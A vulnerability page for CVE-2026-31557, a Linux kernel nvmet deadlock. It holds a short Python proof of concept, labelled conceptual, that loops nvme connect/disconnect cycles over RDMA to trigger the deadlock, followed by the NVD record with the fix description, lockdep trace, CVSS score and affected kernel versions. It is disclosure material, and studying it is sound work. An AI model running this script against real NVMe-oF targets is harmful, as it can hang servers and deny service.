CVE-2026-31557

#!/usr/bin/env python3 """ PoC for CVE-2026-31557 (Conceptual) This script simulates rapid connect/disconnect cycles to an NVMe-oF target over RDMA to trigger the deadlock condition in nvmet_ctrl_free(). Requires nvme-cli and a configured RDMA target. """ import os import time import subprocess TARGET_IP = "192.168.1.100" TARGET_PORT = "4420" def trigger_disconnect(): try: # Connect to the target print("[*] Connecting to target...") connect_cmd = f"nvme connect -t rdma -a {TARGET_IP} -s {TARGET_PORT} -n testnqn" subprocess.run(connect_cmd, shell=True, check=True) # Wait briefly to ensure async events might be queued time.sleep(0.5) # Force disconnect to trigger the release work path print("[*] Triggering disconnect...") disconnect_cmd = "nvme disconnect -d nvme0" subprocess.run(disconnect_cmd, shell=True, check=True) print("[+] Cycle complete. Check kernel logs for deadlock.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": for i in range(10): trigger_disconnect() time.sleep(0.1)

{"cve": {"id": "CVE-2026-31557", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:30.080", "lastModified": "2026-04-27T20:14:08.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: move async event work off nvmet-wq\n\nFor target nvmet_ctrl_free() flushes ctrl->async_event_work.\nIf nvmet_ctrl_free() runs on nvmet-wq, the flush re-enters workqueue\ncompletion for the same worker:-\n\nA. Async event work queued on nvmet-wq (prior to disconnect):\n nvmet_execute_async_event()\n queue_work(nvmet_wq, &ctrl->async_event_work)\n\n nvmet_add_async_event()\n queue_work(nvmet_wq, &ctrl->async_event_work)\n\nB. Full pre-work chain (RDMA CM path):\n nvmet_rdma_cm_handler()\n nvmet_rdma_queue_disconnect()\n __nvmet_rdma_queue_disconnect()\n queue_work(nvmet_wq, &queue->release_work)\n process_one_work()\n lock((wq_completion)nvmet-wq) <--------- 1st\n nvmet_rdma_release_queue_work()\n\nC. Recursive path (same worker):\n nvmet_rdma_release_queue_work()\n nvmet_rdma_free_queue()\n nvmet_sq_destroy()\n nvmet_ctrl_put()\n nvmet_ctrl_free()\n flush_work(&ctrl->async_event_work)\n __flush_work()\n touch_wq_lockdep_map()\n lock((wq_completion)nvmet-wq) <--------- 2nd\n\nLockdep splat:\n\n ============================================\n WARNING: possible recursive locking detected\n 6.19.0-rc3nvme+ #14 Tainted: G N\n --------------------------------------------\n kworker/u192:42/44933 is trying to acquire lock:\n ffff888118a00948 ((wq_completion)nvmet-wq){+.+.}-{0:0}, at: touch_wq_lockdep_map+0x26/0x90\n\n but task is already holding lock:\n ffff888118a00948 ((wq_completion)nvmet-wq){+.+.}-{0:0}, at: process_one_work+0x53e/0x660\n\n 3 locks held by kworker/u192:42/44933:\n #0: ffff888118a00948 ((wq_completion)nvmet-wq){+.+.}-{0:0}, at: process_one_work+0x53e/0x660\n #1: ffffc9000e6cbe28 ((work_completion)(&queue->release_work)){+.+.}-{0:0}, at: process_one_work+0x1c5/0x660\n #2: ffffffff82d4db60 (rcu_read_lock){....}-{1:3}, at: __flush_work+0x62/0x530\n\n Workqueue: nvmet-wq nvmet_rdma_release_queue_work [nvmet_rdma]\n Call Trace:\n __flush_work+0x268/0x530\n nvmet_ctrl_free+0x140/0x310 [nvmet]\n nvmet_cq_put+0x74/0x90 [nvmet]\n nvmet_rdma_free_queue+0x23/0xe0 [nvmet_rdma]\n nvmet_rdma_release_queue_work+0x19/0x50 [nvmet_rdma]\n process_one_work+0x206/0x660\n worker_thread+0x184/0x320\n kthread+0x10c/0x240\n ret_from_fork+0x319/0x390\n\nMove async event work to a dedicated nvmet-aen-wq to avoid reentrant\nflush on nvmet-wq."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.42", "versionEndExcluding": "5.16", "matchCriteriaId": "752141E3-2E88-4CDB-962E-FE1DFC022596"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.17.10", "versionEndExcluding": "5.18", "matchCriteriaId": "E648BBD2-268B-4150-94DA-5E0D23BF336E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "67222101-CC02-4250-A6E8-A98BDD29DB6F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.18:-:*:*:*:*:*:*", "matchCriteriaId": "0384FA0A-DE99-48D7-84E3-46ED0C3B5E03"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, ... (truncated)